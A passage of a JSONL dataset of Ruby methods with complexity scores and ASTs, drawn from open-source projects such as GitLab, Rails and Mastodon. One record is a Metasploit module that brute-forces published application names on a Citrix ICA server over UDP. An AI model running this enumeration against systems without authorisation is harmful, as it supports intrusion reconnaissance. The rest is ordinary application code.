_quick_search?\",{\"type\":\"lvar\",\"children\":[\"e_exp\"]}]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"701d33e3-d7a0-4a74-bac6-2f8681914dcc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/citrix_published_bruteforce.rb","start_line":42,"raw_source":"def run\n    connect_udp\n\n    print_status(\"Attempting to contact Citrix ICA service...\")\n\n    # Client NetBIOS hostname. This works fine >:)\n    client = Rex::Text.rand_text_alphanumeric(8)\n\n    # Server hello packet\n    client_connect =\n      \"\\x1e\\x00\\x01\\x30\\x02\\xfd\\xa8\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" +\n      \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n    # Server hello response\n    server_response =\n      \"\\x30\\x00\\x02\\x31\\x02\\xfd\\xa8\\xe3\\x02\\x00\\x06\\x44\"\n\n    applications = [\n      'TEST',\n      'NOTEPAD',\n      'ACROBAT READER',\n      'ACROBAR',\n      'EXPLORER',\n      'WORD',\n      'WORD2K',\n      'WORDXP',\n      'WORD2K3',\n      'WORD2K7',\n      'WORD 2000',\n      'WORD XP',\n      'WORD 2003',\n      'WORD 2007',\n      'WORD2000',\n      'WORD2003',\n      'WORD2007',\n      'EXCEL',\n      'EXCEL2K',\n      'EXCELXP',\n      'EXCEL2K3',\n      'EXCEL2K7',\n      'EXCEL 2000',\n      'EXCEL XP',\n      'EXCEL 2003',\n      'EXCEL 2007',\n      'EXCEL2000',\n      'EXCEL2003',\n      'EXCEL2007',\n      'ACCESS',\n      'ACCESS2K',\n      'ACCESSXP',\n      'ACCESS2K3',\n      'ACCESS2K7',\n      'ACCESS 2000',\n      'ACCESS XP',\n      'ACCESS 2003',\n      'ACCESS 2007',\n      'ACCESS2000',\n      'ACCESS2003',\n      'ACCESS2007',\n      'POWERPOINT',\n      'POWERPOINT2K',\n      'POWERPOINTXP',\n      'POWERPOINT2K3',\n      'POWERPOINT2K7',\n      'POWERPOINT 2000',\n      'POWERPOINT XP',\n      'POWERPOINT 2003',\n      'POWERPOINT 2007',\n      'POWERPOINT2000',\n      'POWERPOINT2003',\n      'POWERPOINT2007',\n      'OUTLOOK',\n      'OUTLOOKXP',\n      'OUTLOOK2K',\n      'OUTLOOK2K3',\n      'OUTLOOK2K7',\n      'OUTLOOK 2000',\n      'OUTLOOK XP',\n      'OUTLOOK 2003',\n      'OUTLOOK 2007',\n      'OUTLOOK2000',\n      'OUTLOOK2003',\n      'OUTLOOK2007',\n      'LOTUS',\n      'LOTUS NOTES',\n      'INTERNETEXPLORER',\n      'IE',\n      'IEXPLORER',\n      'FIREFOX',\n      'FIREFOX 3',\n      'NETSCAPE',\n      'NETSCAPE7',\n      'NETSCAPE6',\n      'MAIL',\n      'EMAIL',\n      'E-MAIL',\n      'INTERNET',\n      'CMD',\n      'COMMAND',\n    ]\n\n    # Citrix is publishing this application\n    application_valid =\n      \"\\x3e\\x00\\x02\\x35\\x02\\xfd\\xa8\\xe3\\x02\\x00\\x06\\x44\"\n    # Application not found / published\n    application_invalid =\n      \"\\x20\\x00\\x01\\x3a\\x02\\xfd\\xa8\\xe3\\x02\\x00\\x06\\x44\"\n\n    udp_sock.put(client_connect)\n    res = udp_sock.get(3)\n\n    if (res[0, server_response.length] == server_response)\n      print_status(\"Citrix ICA Server Detected. Attempting to brute force Published Applications.\")\n\n      applications.each do |application|\n        # Create the packet\n        packet = [52 + application.length].pack('C')\n        packet << \"\\x00\\x02\\x34\\x02\\xfd\\xa8\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n        packet << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x00\\x02\\x00\"\n        packet << [39 + application.length].pack('C')\n        packet << \"\\x00\\x00\\x00\\x00\\x00\"\n        packet << application\n        packet << \"\\x00\\x01\\x00\\x04\\x00\"\n        packet << client\n        packet << \"\\x00\"\n\n        udp_sock.put(packet)\n        res = udp_sock.get(3)\n\n        if (res[0, application_valid.length] == application_valid)\n          print_status(\"Found: #{application}\")\n        end\n\n        if (res[0, application_invalid.length] == application_invalid)\n          print_error(\"NOT Found: #{application}\")\n        end\n      end\n\n    else\n      print_error(\"Server did not respond.\")\n    end\n\n    disconnect_udp\n  end","complexity_score":73.25,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"client_connect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"get\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_response\"]},\"length\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"server_response\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Citrix ICA Server Detected. Attempting to brute force Published Applications.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"applications\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"application\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000&\\u0000\\u0002\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[39]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]},\"length\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\\u0000\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"application\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0001\\u0000\\u0004\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"get\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_valid\"]},\"length\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"application_valid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_invalid\"]},\"length\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"application_invalid\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NOT Found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application\"]}]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Server did not respond.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]}]}]}","id":"625f42e7-0426-4353-83c6-f6d44dcbfbc0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/restore/unpack.rb","start_line":80,"raw_source":"def many_backups_output!\n        logger.warn 'Found more than one backup:'\n        # Print list of available backups\n        available_timestamps.each do |available_timestamp|\n          logger.warn \" #{available_timestamp}\"\n        end\n\n        if options.incremental?\n          logger.info 'Please specify which one you want to create an incremental backup for:'\n          logger.info 'rake gitlab:backup:create INCREMENTAL=true PREVIOUS_BACKUP=timestamp_of_backup'\n        else\n          logger.info 'Please specify which one you want to restore:'\n          logger.info 'rake gitlab:backup:restore BACKUP=timestamp_of_backup'\n        end\n\n        exit 1\n      end","complexity_score":22.7,"ast_json":"{\"type\":\"def\",\"children\":[\"many_backups_output!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Found more than one backup:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_timestamps\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"available_timestamp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_timestamp\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"incremental?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Please specify which one you want to create an incremental backup for:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"rake gitlab:backup:create INCREMENTAL=true PREVIOUS_BACKUP=timestamp_of_backup\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Please specify which one you want to restore:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"rake gitlab:backup:restore BACKUP=timestamp_of_backup\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"20c37e9f-ae9c-4eb5-8cd9-1c12bf764b08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/environment.rb","start_line":544,"raw_source":"def should_link_to_merge_requests?\n    unfoldered? || production? || staging?\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"should_link_to_merge_requests?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unfoldered?\"]},{\"type\":\"send\",\"children\":[null,\"production?\"]}]},{\"type\":\"send\",\"children\":[null,\"staging?\"]}]}]}","id":"d0d46784-e925-456c-a3fa-b88d7082acf6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/tasks/database_tasks.rb","start_line":608,"raw_source":"def each_current_environment(environment, &block)\n          environments = [environment]\n          environments << \"test\" if environment == \"development\" && !ENV[\"SKIP_TEST_DATABASE\"] && !ENV[\"DATABASE_URL\"]\n          environments.each(&block)\n        end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"each_current_environment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"environments\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environment\"]},\"==\",{\"type\":\"str\",\"children\":[\"development\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SKIP_TEST_DATABASE\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DATABASE_URL\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environments\"]},\"<<\",{\"type\":\"str\",\"children\":[\"test\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"environments\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"33690d2e-ac6e-4e3b-a83b-4496da019a4a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/orders/find_current.rb","start_line":6,"raw_source":"def execute(user:, store:, **params)\n        params = params.merge(store_id: store.id)\n\n        order = incomplete_orders.find_by(params)\n\n        return order unless order.nil?\n        return if user.nil?\n\n        incomplete_orders.order(created_at: :desc).find_by(store: store, user: user, currency: params[:currency])\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"store\"]},{\"type\":\"kwrestarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"store\"]},\"id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incomplete_orders\"]},\"find_by\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incomplete_orders\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store\"]},{\"type\":\"lvar\",\"children\":[\"store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"currency\"]}]}]}]}]}]}]}","id":"b3ad6322-16d1-46b7-9420-fbdb16ed4caf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_configuration.rb","start_line":90,"raw_source":"def stub_pages_setting(messages)\n    allow(Gitlab.config.pages).to receive_messages(to_settings(messages))\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_pages_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"pages\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive_messages\",{\"type\":\"send\",\"children\":[null,\"to_settings\",{\"type\":\"lvar\",\"children\":[\"messages\"]}]}]}]}]}","id":"fc127b39-43e3-49f1-94e8-da3264350141"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/user_policy.rb","start_line":12,"raw_source":"def disable_2fa?\n    role.can?(:manage_user_access) && role.overrides?(record.role)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_2fa?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_user_access\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"overrides?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"role\"]}]}]}]}","id":"00bec187-54d9-41e8-aa3f-db1c4848df65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/object_builder.rb","start_line":177,"raw_source":"def merge_request?\n          klass == MergeRequest\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]}]}]}","id":"4be6bc11-0947-4382-a50f-a2de861461c6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/request_forgery_protection.rb","start_line":228,"raw_source":"def protection_method_class(name)\n          case name\n          when :null_session\n            ProtectionMethods::NullSession\n          when :reset_session\n            ProtectionMethods::ResetSession\n          when :exception\n            ProtectionMethods::Exception\n          when Class\n            name\n          else\n            raise ArgumentError, \"Invalid request forgery protection method, use :null_session, :exception, :reset_session, or a custom forgery protection class.\"\n          end\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"protection_method_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"null_session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectionMethods\"]},\"NullSession\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"reset_session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectionMethods\"]},\"ResetSession\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectionMethods\"]},\"Exception\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Invalid request forgery protection method, use :null_session, :exception, :reset_session, or a custom forgery protection class.\"]}]}]}]}","id":"5c89ac6a-430c-4644-b4e1-fe939c0632d7"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/trim_mode_test.rb","start_line":112,"raw_source":"def test_no_trim_output\n    text     = '<p>{{- \\'John\\' -}}</p>'\n    expected = '<p>John</p>'\n    assert_template_result(expected, text)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_trim_output\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"<p>{{- 'John' -}}</p>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<p>John</p>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}","id":"72bc63a6-7749-4fa3-9af4-0e29f2d73517"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/non_working_days/filters/dates_interval_filter.rb","start_line":42,"raw_source":"def where\n    lower_boundary, upper_boundary = values.map { |v| v.blank? ? nil : Date.parse(v) }\n    lower_boundary ||= Date.current.beginning_of_year\n    upper_boundary ||= Date.current.end_of_year\n\n    <<-SQL.squish\n      (#{date_range_clause('\"non_working_days\"', '\"date\"', lower_boundary, upper_boundary)})\n    SQL\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lower_boundary\"]},{\"type\":\"lvasgn\",\"children\":[\"upper_boundary\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"blank?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lower_boundary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"beginning_of_year\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upper_boundary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"end_of_year\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date_range_clause\",{\"type\":\"str\",\"children\":[\"\\\"non_working_days\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\"date\\\"\"]},{\"type\":\"lvar\",\"children\":[\"lower_boundary\"]},{\"type\":\"lvar\",\"children\":[\"upper_boundary\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},\"squish\"]}]}]}","id":"aa649b0e-28ab-46a3-80f8-9b54b5a16086"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":1338,"raw_source":"def v_is_a_template\n    template?.to_s.capitalize\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"v_is_a_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template?\"]},\"to_s\"]},\"capitalize\"]}]}","id":"38b8fa75-e0e7-4809-af63-b188b0bc0784"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/parser_regexp.rb","start_line":33,"raw_source":"def configure(conf)\n        super\n        # For compat layer\n        if @ignorecase || @multiline\n          options = 0\n          options |= Regexp::IGNORECASE if @ignorecase\n          options |= Regexp::MULTILINE if @multiline\n          @expression = Regexp.compile(@expression.source, options)\n        end\n        @regexp = @expression # For backward compatibility\n\n        if @expression.named_captures.empty?\n          raise Fluent::ConfigError, \"No named captures in 'expression' parameter. The regexp must have at least one named capture\"\n        end\n      end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ignorecase\"]},{\"type\":\"ivar\",\"children\":[\"@multiline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ignorecase\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@multiline\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\"]},\"|\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"MULTILINE\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@expression\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"compile\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expression\"]},\"source\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@regexp\",{\"type\":\"ivar\",\"children\":[\"@expression\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expression\"]},\"named_captures\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"No named captures in 'expression' parameter. The regexp must have at least one named capture\"]}]},null]}]}]}","id":"b6b9549a-53c2-42a9-99a6-acefc064f091"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/agents/authorizations/ci_access/filter_service.rb","start_line":26,"raw_source":"def filter_by_environment(auths)\n            return auths unless filter_by_environment?\n\n            auths.select do |auth|\n              next true if auth.config['environments'].blank?\n\n              auth.config['environments'].any? { |environment_pattern| matches_environment?(environment_pattern) }\n            end\n          end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_environment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auths\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_by_environment?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auths\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auths\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"environments\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"environments\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"environment_pattern\"]}]},{\"ty